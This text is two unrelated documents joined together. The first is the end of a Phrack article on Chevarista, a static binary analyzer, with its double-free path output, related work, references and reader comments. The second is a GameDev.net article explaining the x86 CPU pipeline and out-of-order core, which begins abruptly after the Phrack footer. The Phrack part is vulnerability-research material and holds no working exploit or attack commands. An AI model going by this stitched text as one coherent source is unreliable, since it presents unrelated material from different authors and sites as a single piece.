[+] AliasVisitor finished

+ Entered Node Splitting for Node id 24 
+ Entered Node Splitting for Node id 194 
+ Entered Node Splitting for Node id 722 
+ Entered Node Splitting for Node id 794 
+ Entered Node Splitting for Node id 1514 
+ Entered Node Splitting for Node id 1536 
+ Entered Node Splitting for Node id 1642 
[+] SymbolicVisitor finished

Entering DotVisitor
+ SESE visited
+ SESE visited
* SESE already visited
* SESE already visited
+ SESE visited
+ SESE visited
* SESE already visited
* SESE already visited
* SESE already visited
! Node pointed by (nil) is NOT a SESE
+ SESE visited
* SESE already visited
* SESE already visited
* SESE already visited
[+] Print*Visitors finished

Starting HeapVisitor
Double Free found
Double Free found
Double malloc
[+] Heap visitor finished

[+] Chevarista has finished


    The run was performed in less than 2 seconds and multiple vulnerabilities have
    been found in the binary file (2 double free and one memory leak as indicated
    by the latest output). Its pretty useless without more information, which brings
    us to the results.



-------------------------[ D. Vulnerable paths extraction




      Once the analysis has been performed, we can simply check what the vulnerable
      paths were:

      ~/IDA/sdk/plugins/chevarista/src $ ls tmp/
 
      cflow.png  chevarista.alias  chevarista.buchi  chevarista.dflow.dot  \
      chevarista.dot  chevarista.gate  chevarista.heap  chevarista.lir     \
      chevarista.symbolic  dflow.png


      Each visitor (transformation) outputs the complete program in each intermediate
      form. The most interesting thing is the output of the heap visitor that give
      us exactly the vulnerable paths:

      ~/IDA/sdk/plugins/chevarista/src $ cat tmp/chevarista.heap 

      [%fp + 7e7]

      [%fp + 7df]

      [%l0]

      ***********************************
      *                                 *
      * Multiple free of same variables *
      *                                 *
      ***********************************

      ******************
      path to free : 1
      ******************
      @0x2010a4 (0) {S} 32: inparam_%i0 = Alloc(inparam_%i0)      
      @0x100a44 (4) {S} 46: %g1 = outparam_%o0                    
      @0x100a48 (8) {S} 60: local_%fp$0x7e7 = %g1                 
      @0x100bcc (8) {S} 1770: outparam_%o0 = local_%fp$0x7e7      
      @0x1008e4 (8) {S} 1792: local_%fp$0x87f = inparam_%i0       
      @0x1008f4 (8) {S} 1828: outparam_%o0 = local_%fp$0x87f      
      @0x2010c4 (0) {S} 1544: inparam_%i0 = Free(inparam_%i0)     

      ******************
      path to free : 2
      ******************
      @0x2010a4 (0) {S} 32: inparam_%i0 = Alloc(inparam_%i0)      
      @0x100a44 (4) {S} 46: %g1 = outparam_%o0                    
      @0x100a48 (8) {S} 60: local_%fp$0x7e7 = %g1                 
      @0x100b58 (8) {S} 2090: %g1 = local_%fp$0x7e7               
      @0x100b5c (8) {S} 2104: local_%fp$0x7d7 = %g1               
      @0x100b68 (8) {S} 2146: %g1 = local_%fp$0x7d7               
      @0x100b6c (8) {S} 2160: local_%fp$0x7df = %g1               
      @0x100c14 (8) {S} 1524: outparam_%o0 = local_%fp$0x7df      
      @0x2010c4 (0) {S} 1544: inparam_%i0 = Free(inparam_%i0)     

      ******************
      path to free : 3
      ******************
      @0x2010a4 (0) {S} 32: inparam_%i0 = Alloc(inparam_%i0)      
      @0x100a58 (4) {S} 96: %g1 = outparam_%o0                    
      @0x100a5c (8) {S} 110: local_%fp$0x7df = %g1                
      @0x100c14 (8) {S} 1524: outparam_%o0 = local_%fp$0x7df      
      @0x2010c4 (0) {S} 1544: inparam_%i0 = Free(inparam_%i0)     

      ******************
      path to free : 4
      ******************
      @0x2010a4 (0) {S} 32: inparam_%i0 = Alloc(inparam_%i0)      
      @0x100a58 (4) {S} 96: %g1 = outparam_%o0                    
      @0x100a5c (8) {S} 110: local_%fp$0x7df = %g1                
      @0x100b60 (8) {S} 2118: %g1 = local_%fp$0x7df               
      @0x100b64 (8) {S} 2132: local_%fp$0x7e7 = %g1               
      @0x100bcc (8) {S} 1770: outparam_%o0 = local_%fp$0x7e7      
      @0x1008e4 (8) {S} 1792: local_%fp$0x87f = inparam_%i0       
      @0x1008f4 (8) {S} 1828: outparam_%o0 = local_%fp$0x87f      
      @0x2010c4 (0) {S} 1544: inparam_%i0 = Free(inparam_%i0)     
      
      ~/IDA/sdk/plugins/chevarista/src $ 
      

As you can see, we now have the complete vulnerable paths where multiple
frees are done in sequence over the same variables. In this example, 2
double frees were found and one memory leak, for which the path to free
is not given, since there is no (its a memory leak :).

A very useful trick was also to give more refined types to operands. For
instance, local variables can be identified pretty easily if they are
accessed throught the stack pointer. Function parameters and results
can also be found easily by inspecting the use of %i and %o registers
(for the SPARC architecture only).




----------------[ E. Future work : Refinement



        
        The final step of the analysis is refinement [CEGF]. Once you have analyzed
   a program for vulnerabilities and we have extracted the path of the program
   that looks like leading to a corruption, we need to recreate the real conditions
   of triggering the bug in the reality, and not in an abstract description of the
   program, as we did in that article. For this, we need to execute for real (this
   time) the program, and try to feed it with data that are deduced from the 
   conditional predicates that are on the abstract path of the program that leads to
   the potential vulnerability. The input values that we would give to the program
   must pass all the tests that are on the way of reaching the bug in the real world.

   Not a lot of projects use this technique. It is quite recent research to determine
   exactly how to be the most precise and still scaling to very big programs. The
   answer is that the precision can be requested on demand, using an iterative procedure
   as done in the BLAST [BMC] model checker. Even advanced abstract interpretation
   framework [ASA] do not have refinement in their framework yet : some would argue
   its too computationally expensive to refine abstractions and its better to couple
   weaker abstractions together than tring to refine a single "perfect" one.



 

---------------[ V. Related Work



        Almost no project about this topic has been initiated by the underground. The
        work of Nergal on finding integer overflow into Win32 binaries is the first
        notable attempt to mix research knowledge and reverse engineering knowledge,
        using a decompiler and a model checker. The work from Halvar Flake in the framework 
        of BinDiff/BinNavi [BN] is interesting but serves until now a different purpose than 
        finding vulnerabilities in binary code.

        On a more theoretical point of view, the interested reader is invited to look
        at the reference for findings a lot of major readings in the field of program
        analysis. Automated reverse engineering, or decompiling, has been studied in
        the last 10 years only and the gap is still not completely filled between those
        2 worlds. This article tried to go into that direction by introducing formal
        techniques using a completely informal view.

        Mostly 2 different theories can be studied : Model Checking [MC] and Abstract 
        Interpretation [AI] . Model Checking generally involves temporal logic properties
        expressed in languages such as LTL, CTL, or CTL* or [TL]. Those properties are then
        translated to automata. Traces are then used as words and having the automata
        not recognizing a given trace will mean breaking a property. In practice, the
        formula is negated, so that the resulting automata will only recognize the trace
        leading to vulnerabilities, which sounds a more natural approach for detecting
        vulnerabilities. 

        Abstract interpretation [ASA] is about finding the most adequate system representation 
        for allowing the checking to be computable in a reasonable time (else we might 
        end up doing an "exhaustive bruteforce checking" if we try to check all the potential
        behavior of the program, which can btw be infinite). By reasoning into an abstract
        domain, we make the state-space to be finite (or at least reduced, compared to the 
        real state space) which turn our analysis to be tractable. The strongest the
        abstractions are, the fastest and imprecise our analysis will be. All the job
        consist in finding the best (when possible) or an approximative abstraction that
        is precise enough and strong enough to give results in seconds or minuts.

        In this article, we have presented some abstractions without quoting them explicitely
        (interval abstraction, trace abstraction, predicate abstraction ..). You can also
        design product domains, where multiple abstractions are considered at the same time,
        which gives the best results, but for which automated procedures requires more work
        to be defined.


------[ VI. Conclusion


        I Hope to have encouraged the underground community to think about using more
        formal techniques for the discovery of bugs in programs. I do not include this
        dream automated tool, but a simplier one that shows this approach as rewarding,
        and I look forward seing more automated tools from the reverse engineering 
        community in the future. The chevarista analyzer will not be continued as it, 
        but is being reimplemented into a different analysis environment, on top of a
        dedicated language for reverse engineering and decompilation of machine code.
        Feel free to hack inside the code, you dont have to send me patches as I do not
        use this tool anymore for my own vulnerability auditing. I do not wish to encourage
        script kiddies into using such tools, as they will not know how to exploit the
        results anyway (no, this does not give you a root shell).


------[ VII. Greetings

        
        Why should every single Phrack article have greetings ? 

        The persons who enjoyed Chevarista know who they are.


------[ VIII. References


 [TVLA] Three-Valued Logic
        http://en.wikipedia.org/wiki/Ternary_logic
  
 [AI] Abstract Interpretation
      http://www.di.ens.fr/~cousot/

 [MC] Model Checking
      http://en.wikipedia.org/wiki/Model_checking

 [CEGF] Counterexample-guided abstraction refinement 
        E Clarke - Temporal Representation and Reasoning

 [BN] Sabre-security BinDiff & BinNavi
      http://www.sabre-security.com/

 [JPF] NASA JavaPathFinder
       http://javapathfinder.sourceforge.net/

 [UNG] UQBT-ng : a tool that finds integer overflow in Win32 binaries
        events.ccc.de

 [SSA] Efficiently computing static single assignment form
       R Cytron, J Ferrante, BK Rosen, MN Wegman
       ACM Transactions on Programming Languages and SystemsFK 
 
 [SSI] Static Single Information (SSI)
       CS Ananian - 1999 - lcs.mit.edu       

 [MCI] Modern Compiler Implementation (Book)
       Andrew Appel
 
 [BMC] The BLAST Model Checker
       http://mtc.epfl.ch/software-tools/blast/

 [AD] 22C3 - Autodafe : an act of software torture
      events.ccc.de/congress/2005/fahrplan/events/606.en.html

 [TL] Linear Temporal logic
      http://en.wikipedia.org/wiki/Linear_Temporal_Logic

 [ASA] The ASTREE static analyzer
       www.astree.ens.fr

 [DLB] Dvorak LKML select bug
       Somewhere lost on lkml.org

 [RSI] ERESI (Reverse Engineering Software Interface)
       http://eresi.asgardlabs.org

 [PA] Automatic Predicate Abstraction of C Programs
      T Ball, R Majumdar, T Millstein, SK Rajamani 
      ACM SIGPLAN Notices 2001

 [IRM] INTEL reference manual
       http://www.intel.com/design/pentium4/documentation.htm

 [SRM] SPARC reference manual
       http://www.sparc.org/standards/

 [LAT] Wikipedia : lattice
       http://en.wikipedia.org/wiki/Lattice_%28order%29
 
 [DDA] Data Dependence Analysis of Assembly Code
       ftp://ftp.inria.fr/INRIA/publication/publi-pdf/RR/RR-3764.pdf

 [DP] Design Patterns : Elements of Reusable Object-Oriented Software
      Erich Gamma, Richard Helm, Ralph Johnson & John Vlissides
      


------[ IX. The code    

Feel free to contact me for getting the code. It is not included
in that article but I will provide it on request if you show
an interest. 
Top- Article- New comment
Comments :
« Back - 1 - Next »
Tyler, on October 26th 2008 at 2:58 pm :
Stiver: you are totally right, the naming scheme of Stub2 and Stub3 in Labeled SSI form is incorrect! While it changes nothing to the data-flow graph, your naming scheme makes more explicit what has been let implicit (the definition of a2, and other intermediate variables, in our case). Correcting this error would also have the consequence of generating less fresh names, thus optimizing the analyzer.

While we are (better late than never) reviewing the article, here is another imprecision: when trying to find the best way of determining interval widening thresholds for variables in a loop (using Stub 7), CASE 2.2.a of the "proof" is wrong. Fortunately, the error is not very important, but here it is:

"- The inductive variable is involved in a predicate that leads to modification of the non-inductive variable. It is not possible without the 2 variables being inductives !Thus we fall into the case 1 again."

Its incorrect to say that the presumed non-inductive variable is, in that precise case, inductive, since a condition involving an inductive variable does not imply that the inductive variable is used in the conditional code. If this is indeed not the case, then no additional threshold is generated, unless the conditionally modified non-inductive variable is itself used in another condition of the loop. In that case, a new threshold for that condition will be generated due to the conditional modification of the non-inductive variable. Since the inductive variable is not used in the conditional code, this threshold is easy to find. In case it is used, we indeed come back to the case 1.

I do not pretend this widening approach is the optimal one. I presume that optimal widening might be different on the used abstract domain, and I restricted myself to the interval abstract domain. I only gave an approximate solution to reduce false positives in such domain, a more elaborate analysis is necessary to find out what is exactly the optimal interval widening approach (Such work might have been done in one of Cousot's paper but I cant find it back now)

Thanks Stiver for reviewing the article. I might write the follow-up, focusing on the implementation techniques, and this time, yes, release the code.

Tyler
Stiver, on October 26th 2008 at 12:28 pm :
2Tyler: No, I mean the following

Stub 2 in SSI form
------------------
c1 = 21;
b1 = a1;
(a3, a4) = Sigma(a2);
if (b1 != c1)
a3 = a2 + 1;
else
a4 = a2 - 1;
a5 = Phi(a3, a4);
c2 = c1 + a5;

The correct form would be

c1 = 21;
b1 = a1;
(a2, a3) = Sigma(a1);
if (b1 != c1)
a4 = a2 + 1;
else
a5 = a3 - 1;
a6 = Phi(a4, a5)
c2 = c1 + a6;

You can't have Sigma(a2) without having defined a2 in the first place :) Or do I miss something here?
Tyler, on October 26th 2008 at 9:25 am :
Steve : this is indeed not the classic SSI form, but a variant that I called the Labeled SSI form, as written in the article.
Stiver, on October 26th 2008 at 5:28 am :
All examples using SSI in section II. Preparation are incorrect. That is not the classic Static Single Information Form, see your own reference list ([SSI] Static Single Information)

Regards, Stiver (Greetings from WASM ;))
Tyler Durden, on March 2th 2008 at 8:24 pm :
I am curious about the reason why none noticed that my proof ending part III/ A. is incorrect !

So I would like some comments from you guys about this part of the article. I have been asked the code of chevarista so many times, but few seems to have read the article properly.

I encourage you to look at the ERESI project : http://www.eresi-project.org which is a real step in binary analysis in my opinion, especially its WIP static analyzer Evarista. ERESI is also GPL and will integrate all Chevarista analysis and more, at some point. ERESI is also looking for experienced people to enter the leadership development team, so feel free to contact us.

-Tyler

tyler, on December 26th 2007 at 8:45 am :
PCC is a framework for trusted code execution, its not specific to any kind of static analysis afaik. This article is pragmatic and give place to the implementation without pretending to be a state of the art in formal methods. It also focuses on offensive techniques while PCC is definitely a defensive technique.
someone, on December 25th 2007 at 9:12 pm :
Anyone interested in this type of automatic analysis/verification may be interested in learning about "proof-carrying code", which allows, e.g., safe execution of untrusted code, if implemented correctly. See for instance George Necula's home page.
ana, on December 20th 2007 at 6:49 pm :
what is the dvorak kernel bug on LKML? i can't seem to google this. may be worth posting a link if anyone has a link to the lkml copy? thanks.
Diophantus, on December 13th 2007 at 5:23 pm :
I like your article and would like to use the concept in integrated test tool. May I have the source code "Chevarista"?

Thanks in advance.
tyler, on October 22th 2007 at 6:30 am :
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.4.5 (GNU/Linux)

mQGiBEcbi7IRBAD0d761ibd51TFnRdVKF1C5XaN9owUrZQb+P32XP9EBOGIkXB1R
bQOzEo1ZmwOuP2uSVkZTqAwbTUsDl69YiM80pwZfhRVf8C8D9YOe1evqB39xB0zA
Lm2vqpfpHOFUjQarEx7T+xa3zRA7TFANqASieiPi4NnMBIKUbuTvPri6swCg0s97
qoKI77f0PzoKsS9ONGd2gSkEAJBFw4KAATOZHQgeHpIVA8lRXGUX0j08ColrhQCW
wHk3YZrvE7M7OT3xvoS13Z18cJ+1C18eTgQ56TyCIU21LEDWIfnV6wnIXI8SA275
8Kst8Xdroi/RnHFztW+XuPoR52d7QVeq/wMT5VYEeIdSKII8/iW3G+Wr+ls1C7Dg
E4XiBAC2Sy3NVUDPSyM33w7HLl+u72FH8C0bsAa3/w4rQzE1ddOiN2Cckr+gsdKn
xDqrLxOGA//+HEeV1FBnhP3III3hMn7p9KpUI3w3A+lRKhCG+5tDPepMSP25lvq5
i09GbEbKgJHbcrTqvR1I9SnKVt/eGssRYY+6p+7DXyiNRrzL1rQ5VHlsZXIgRHVy
ZGVuIChLZXkgZm9yIHBocmFjayBhcnRpY2xlcykgPHR5bGVyQHBocmFjay5vcmc+
iGUEExECACUFAkcbi7ICGwMFCQHanAAGCwkIBwMCBBUCCAMDFgIBAh4BAheAAAoJ
EI0f1rCYz3TOJckAniC5ClH+t+LS+TMX2tscnfS5HYW0AKChtrtP9qIq4kILAfG/
6ZaEhfz1R7kCDQRHG4viEAgA8cHrUHvS2qqQHU2gOLuKDXPW9fNFxLpgEmuHi1L1
zHgWj3P5ww2T6alBlrXEmtRCVy2k1RjycmNeM6lZPPHdTtawKPkScZe1N1r1fw8M
32ejyXqm9ud34y/M1A7uRER8ukxEAtyYmi/Ny/cCkZNGY94rg4jmeinx0VkHWr73
tk1iobd64kzXQ5faxy8KVy3MfR6aG8TER/BOOvoVi+8eeRKnU20GgH3sUNPwA1+i
+GoNSg2WuFlUPLh6FRcR1g4tMH9oGNmpAQQnM3OWKbKhqX3eM3cXxo4P05+kbsdY
Qv1+Xgk2a5ZkyM5FlYFb12vijAFFaYZVS00pPwc01mqi9wADBQf/bYr38dqYJ1P5
7DU/Bk0x11xqY7dIldKPSx9mkr8SOo9jbLwXUbBlWQ6QXI1o8usVZRs1mxjoR5yw
++Ju8AKZdRcW4q58uu9dHNb2wdec3ZnMxGkaHEPtnJSgseB/cO55kidxnHm8vshJ
wjx/QLuXRamPcefwnWBSDVT/kgDaIcUUq4Yla2LP29UZ4qx8pO9uPZWJf1VFPxTk
RfRDKJRMDt2TVflh5OXeJ17hRxZhh6q4BbXiCkDI9cdOtUaScXTImcEIirtWf7QY
mJBnwSJTceciWITillocdFVDzjMfT9NsBwj3OJvXHd46IWV+vx8cyRw9QDpGJrEv
KZaGL7ZUCIhPBBgRAgAPBQJHG4viAhsMBQkB2pwAAAoJEI0f1rCYz3TOEZEAn2d9
Ajp3tM+jx4M86z6Rn8sKQybeAKCiMQsO37YeCafHZWPxjJJTDDCY+Q==
=JNxJ
-----END PGP PUBLIC KEY BLOCK-----
dm, on October 21th 2007 at 12:36 pm :
Do you have a GPG/PGP public key that you'd like us to use to email you?
tyler, on October 18th 2007 at 10:18 am :
dm,

The labeled & factored SSI form is indeed not a standard notation.

You can forget about the "BLoop" labels and so on : they are not really part of the original SSI form. In stub 3, the label names within Phi() indicate on which control flow path the data definition could be found for this variable.

In practice, adding these labels for each phi() parameter allows to relate the control flow graph and the data flow graph for this phi parameter (variable).

Your internal data structures might use any other system to do that, but introducing labels makes this explicit in the IR.

Experiments show that reasoning just on dataflow graphs without the control-flow graph is generally not precise enough for automated "input of death" generation.

Enjoy
dm, on October 18th 2007 at 8:20 am :
I'm a little confused as to where you are getting the notation for your "SSI Labeled Form" beginning with Stub 3. The <BLoop... etc isn't talked about inside the resources on SSI (which are very few in number to begin with). I realize there is difficulty in transferring the mathematical notation to the ascii, but I have also noticed small differences between your SSI notation and those referenced in [SSI], etc. Anything on this?
tyler, on September 15th 2007 at 10:40 am :
Ron Blarten:

Feel free to reference my article, however it is not about runtime analysis but static analysis.

-tyler
ron_blarten, on September 13th 2007 at 2:12 am :
good day! im a senior student at bicol university, phillipines. i just want to have a permission to add your article in my related studeis since my research topic is all about vulnerrability assessment at runtime.
pasante, on July 14th 2007 at 8:02 am :
Free the code dude!

&#40857;&#30340;&#20256;&#20154;, on July 13th 2007 at 2:52 am :
I'm an university student in China.I major in the computer science.After the summer vocation,I will bw a grade-four student.

From the day of entering the colleague to now,I have written a lot of C programs.However,recently,I find that there're so many buffer overflow bugs in my program.

I think your article and program will help me write C programs which are securer than before in the following days.
tyler, on May 31th 2007 at 12:42 pm :
As stated in the article, please contact me by email (it IS valid -- please put ANTISPAM in the subject). I cannot give the code like this, else it will end up in 2 days on packetstorm. This is why I request every single person who want the code to explain me his impressions of the article (to make sure he actually have read it for real), his background (to make sure he will make fair use of the code : dont try to contact me saying you are a professional pentester who want the code for its job), his objectives (what are you plans for the code ? what do you want to contribute ?) and experience (to make sure its useful to share the code with you). Thanks.
uhuh, on May 31th 2007 at 6:31 am :
hmm, great article. the best, imho. :> BTW, its possible to have the codez? I tried to write to tyler(at)phrack(dot)org, but seems it does not exsist as email user.

Thx.
nonick_, on May 28th 2007 at 7:44 pm :
hmmm... the best one in this edition..

-nonick_
tiago, on May 26th 2007 at 10:30 pm :
One word: awesome.

Congratulations for having achieved a precise transition, from largely theoretical concepts into such implementation, that has wide use within the realm of Software Security.

--tiago
Top- Article- Comments
Add a new comment : (require validation)
Username : (required)

Email : (will not be published) (required)

Antispam : (required)



Text in English only : (required)


[ News ] [ Issues ] [ Authors ] [ Comments ] [ Search ] [ Stats ] [ Contact ]
© Copyleft 1985-2007, Phrack Magazine.
﻿http://www.gamedev.net/page/resources/_/technical/general-programming/a-journey-through-the-cpu-pipeline-r3115 
A Journey Through the CPU Pipeline - General Programming - Articles - Articles - GameDev.net
Created:
8/20/2013 12:05:47 PM
Updated:
8/20/2013 12:05:47 PM
Author:

Tags:
hardware


A Journey Through the CPU Pipeline 
It is good for programmers to understand what goes on inside a processor. The CPU is at the heart of our career.

What goes on inside the CPU? How long does it take for one instruction to run? What does it mean when a new CPU has a 12-stage pipeline, or 18-stage pipeline, or even a "deep" 31-stage pipeline? 

Programs generally treat the CPU as a black box. Instructions go into the box in order, instructions come out of the box in order, and some processing magic happens inside.

As a programmer, it is useful to learn what happens inside the box. This is especially true if you will be working on tasks like program optimization. If you don’t know what is going on inside the CPU, how can you optimize for it?

This article is about what goes on inside the x86 processor’s deep pipeline. 
Stuff You Should Already Know 
First, this article assumes you know a bit about programming, and maybe even a little assembly language. If you don’t know what I mean when I mention an instruction pointer, this article probably isn’t for you. When I talk about registers, instructions, and caches, I assume you already know what they mean, can figure it out, or will look it up.

Second, this article is a simplification of a complex topic. If you feel I have left out important details, please add them to the comments at the end.

Third, I am focusing on Intel processors and the x86 family. I know there are many different processor families out there other than x86. I know that AMD introduced many useful features into the x86 family and Intel incorporated them. It is Intel’s architecture and Intel’s instruction set, and Intel introduced the most major feature being covered, so for simplicity and consistency I’m just going to stick with their processors.

Fourth, this article is already out of date. Newer processors are in the works and some are due out in a few months. I am very happy that technology is advancing at a rapid pace. I hope that someday all of these steps are completely outdated, replaced with even more amazing advances in computing power.
The Pipeline Basics 
From an extremely broad perspective the x86 processor family has not changed very much over its 35 year history. There have been many additions but the original design (and nearly all of the original instruction set) is basically intact and visible in the modern processor. 

The original 8086 processor has 14 CPU registers which are still in use today. Four are general purpose registers -- AX, BX, CX, and DX. Four are segment registers that are used to help with pointers -- Code Segment (CS), Data Segment (DS), Extra Segment (ES), and Stack Segment (SS). Four are index registers that point to various memory locations -- Source Index (SI), Destination Index (DI), Base Pointer (BP), and Stack Pointer (SP). One register contains bit flags. And finally, there is the most important register for this article: The Instruction Pointer (IP).

The instruction pointer register is a pointer with a special job. The instruction pointer’s job is to point to the next instruction to be run.

All processors in the x86 family follow the same pattern. First, they follow the instruction pointer and decode the next CPU instruction at that location. After decoding, there is an execute stage where the instruction is run. Some instructions read from memory or write to it, others perform calculations or comparisons or do other work. When the work is done, the instruction goes through a retire stage and the instruction pointer is modified to point to the next instruction.

This decode, execute, and retire pipeline pattern applies to the original 8086 processor as much as it applies to the latest Core i7 processor. Additional pipeline stages have been added over the years, but the pattern remains.
What Has Changed Over 35 Years 
The original processor was simple by today's standard. The original 8086 processor began by evaluating the instruction at the current instruction pointer, decoded it, executed it, retired it, and moved on to the next instruction that the instruction pointer pointed to.

Each new chip in the family added new functionality. Most chips added new instructions. Some chips added new registers. For the purposes of this article I am focusing on the changes that affect the main flow of instructions through the CPU. Other changes like adding virtual memory or parallel processing are certainly interesting and useful, but not applicable to this article.

In 1982 an instruction cache was added to the processor. Instead of jumping out to memory at every instruction, the CPU would read several bytes beyond the current instruction pointer. The instruction cache was only a few bytes in size, just large enough to fetch a few instructions, but it dramatically improved performance by removing round trips to memory every few cycles.

In 1985, the 386 added cache memory for data as well as expanding the instruction cache. This gave performance improvements by reading several bytes beyond a data request. By this point both the instruction cache and data cache were measured in kilobytes rather than bytes.

In 1989, the i486 moved to a five-stage pipeline. Instead of having a single instruction inside the CPU, each stage of the pipeline could have an instruction in it. This addition more than doubled the performance of a 386 processor of the same clock rate. The fetch stage extracted an instruction from the cache. (The instruction cache at this time was generally 8 kilobytes.) The second stage would decode the instruction. The third stage would translate memory addresses and displacements needed for the instruction. The fourth stage would execute the instruction. The fifth stage would retire the instruction, writing the results back to registers and memory as needed. By allowing multiple instructions in the processor at once, programs could run much faster.

1993 saw the introduction of the Pentium processor. The processor family changed from numbers to names as a result of a lawsuit—that’s why it is Pentium instead of the 586. The Pentium chip changed the pipeline even more than the i486. The Pentium architecture added a second separate superscalar pipeline. The main pipeline worked like the i486 pipeline, but the second pipeline ran some simpler instructions, such as direct integer math, in parallel and much faster.

In 1995, Intel released the Pentium Pro processor. This was a radically different processor design. This chip had several features including out-of-order execution processing core (OOO core) and speculative execution. The pipeline was expanded to 12 stages, and it included something termed a ‘superpipeline’ where many instructions could be processed simultaneously. This OOO core will be covered in depth later in the article.

There were many major changes between 1995 when the OOO core was introduced and 2002 when our next date appears. Additional registers were added. Instructions that processed multiple values at once (Single Instruction Multiple Data, or SIMD) were introduced. Caches were introduced and existing caches enlarged. Pipeline stages were sometimes split and sometimes consolidated to allow better use in real-world situations. These and other changes were important for overall performance, but they don’t really matter very much when it comes to the flow of data through the chip.

In 2002, the Pentium 4 processor introduced a technology called Hyper-Threading. The OOO core was so successful at improving processing flow that it was able to process instructions faster than they could be sent to the core. For most users the CPU’s OOO core was effectively idle much of the time, even under load. To help give a steady flow of instructions to the OOO core they attached a second front-end. The operating system would see two processors rather than one. There were two sets of x86 registers. There were two instruction decoders that looked at two sets of instruction pointers and processed both sets of results. The results were processed by a single, shared OOO core but this was invisible to the programs. Then the results were retired just like before, and the instructions were sent back to the two virtual processors they came from.

In 2006, Intel released the "Core" microarchitecture. For branding purposes, it was called "Core 2" (because everyone knows two is better than one). In a somewhat surprising move, CPU clock rates were reduced and Hyper-Threading was removed. By slowing down the clock they could expand all the pipeline stages. The OOO core was expanded. Caches and buffers were enlarged. Processors were re-designed focusing on dual-core and quad-core chips with shared caches.

In 2008, Intel went with a naming scheme of Core i3, Core i5, and Core i7. These processors re-introduced Hyper-Threading with a shared OOO core. The three different processors differed mainly by the size of the internal caches.

Future Processors: The next microarchitecture update is currently named Haswell and speculation says it will be released late in 2013. So far the published docs suggest it is a 14-stage OOO core pipeline, so it is likely the data flow will still follow the basic design of the Pentium Pro.

So what is all this pipeline stuff, what is the OOO core, and how does it help processing speed?
CPU Instruction Pipelines 
In the most basic form described above, a single instruction goes in, gets processed, and comes out the other side. That is fairly intuitive for most programmers.

The i486 has a 5-stage pipeline. The stages are – Fetch, D1 (main decode), D2 (secondary decode, also called translate), EX (execute), WB (write back to registers and memory). One instruction can be in each stage of the pipeline. 

 
There is a major drawback to a CPU pipeline like this. Imagine the code below. Back before CPU pipelines the following three lines were a common way to swap two variables in place.

XOR a, b
XOR b, a
XOR a, b

The chips starting with the 8086 up through the 386 did not have an internal pipeline. They processed only a single instruction at a time, independently and completely. Three consecutive XOR instructions is not a problem in this architecture.

We’ll consider what happens in the i486 since it was the first x86 chip with an internal pipeline. It can be a little confusing to watch many things in motion at once, so you may want to refer back to the diagram above. 

The first instruction enters the Fetch stage and we are done with that step. On the next step the first instruction moves to D1 stage (main decode) and the second instruction is brought into fetch stage. On the third step the first instruction moves to D2 and the second instruction gets moved to D1 and another is fetched. On the next stage something goes wrong. The first instruction moves to EX ... but other instructions do not advance. The decoder stops because the second XOR instruction requires the results of the first instruction. The variable (a) is supposed to be used by the second instruction, but it won’t be written to until the first instruction is done. So the instructions in the pipeline wait until the first instruction works its way through the EX and WB stages. Only after the first instruction is complete can the second instruction make its way through the pipeline. The third instruction will similarly get stuck, waiting for the second instruction to complete.

This is called a pipeline stall or a pipeline bubble.

Another issue with pipelines is some instructions could execute very quickly and other instructions would execute very slowly. This was made more visible with the Pentium’s dual-pipeline system.

The Pentium Pro introduced a 12-stage pipeline. When that number was first announced there was a collective gasp from programmers who understood how the superscalar pipeline worked. If Intel followed the same design with a 12-stage superscalar pipeline then a pipeline stall or slow instruction would seriously harm execution speed. At the same time they announced a radically different internal pipeline, calling it the Out Of Order (OOO) core. It was difficult to understand from the documentation, but Intel assured developers that they would be thrilled with the results.

Let’s have a look at this OOO core pipeline in more depth.
The Out Of Order Core Pipeline 
The OOO Core pipeline is a case where a picture is worth a thousand words. So let’s get some pictures.
Diagrams of CPU Pipelines 
The i486 had a 5-stage pipeline that worked well. The idea was very common in other processor families and works well in the real world. 
 
The Pentium pipeline was even better than the i486. It had two instruction pipelines that could run in parallel, and each pipeline could have multiple instructions in different stages. You could have nearly twice as many instructions being processed at the same time. 
 
Having fast instructions waiting for slow instructions was still a problem with parallel pipelines. Having sequential instruction order was another issue thanks to stalls. The pipelines are still linear and can face a performance barrier that cannot be breached.

The OOO core is a huge departure from the previous chip designs with their linear paths. It added some complexity and introduced nonlinear paths:

 
The first thing that happens is that instructions are fetched from memory into the processor’s instruction cache. The decoder on the modern processors can detect when a large branch is about to happen (such as a function call) and can begin loading the instructions before they are needed.

The decoding stage was modified slightly from earlier chips. Instead of just processing a single instruction at the instruction pointer, the Pentium Pro processor could decode up to three instructions per cycle. Today’s (circa 2008-2013) processors can decode up to four instructions at once. Decoding produces small fragments of operations called micro-ops or μ-ops. 

Next is a stage (or set of stages) called micro-op translation, followed by register aliasing. Many operations are going on at once and we will potentially be doing work out of order, so an instruction could read to a register at the same time another instruction is writing to it. Writing to a register could potentially stomp on a value that another instruction needs. Inside the processor the original registers (such as AX, BX, CX, DX, and so on) are translated (or aliased) into internal registers that are hidden from the programmer. The registers and memory addresses need to have their values mapped to a temporary value for processing. Currently 4 micro-ops can go through translation every cycle.

After micro-op translation is complete, all of the instruction’s micro-ops enter a reorder buffer, or ROB. The ROB currently holds up to 128 micro-ops. On a processor with Hyper-Threading the ROB can also coordinate entries from multiple virtual processors. Both virtual processors come together into a single OOO core at the ROB stage.

These micro-ops are now ready for processing. They are placed in the Reservation Station (RS). The RS currently can hold 36 micro-ops at any one time.

Now the magic of the OOO core happens. The micro-ops are processed simultaneously on multiple execution units, and each execution unit runs as fast as it can. Micro-ops can be processed out of order as long as their data is ready, sometimes skipping over unready micro-ops for a long time while working on other micro-ops that are ready. This way a long operation does not block quick operations and the cost of pipeline stalls is greatly reduced.

The original Pentium Pro OOO core had six execution units: two integer processors, one floating-point processor, a load unit, a store address unit, and a store data unit. The two integer processors were specialized; one could handle the complex integer operations, the other could solve up to two simple operations at once. In an ideal situation the Pentium Pro OOO Core execution units could process seven micro-ops in a single clock cycle.

Today’s OOO core still has six execution units. It still has the load address, store address, and store data execution units, the other three have changed somewhat. Each of the three execution units perform basic math operations, or instead they perform a more complex micro-op. Each of the three execution units are specialized to different micro-ops allowing them to complete the work faster than if they were general purpose. In an ideal situation today’s OOO core can process 11 micro-ops in a single cycle.

Eventually the micro-op is run. It goes through a few more small stages (which vary from processor to processor) and eventually gets retired. At this point it is returned back to the outside world and the instruction pointer is advanced. From the program’s point of view the instruction has simply entered the CPU and exited the other side in exactly the same way it did back on the old 8086.

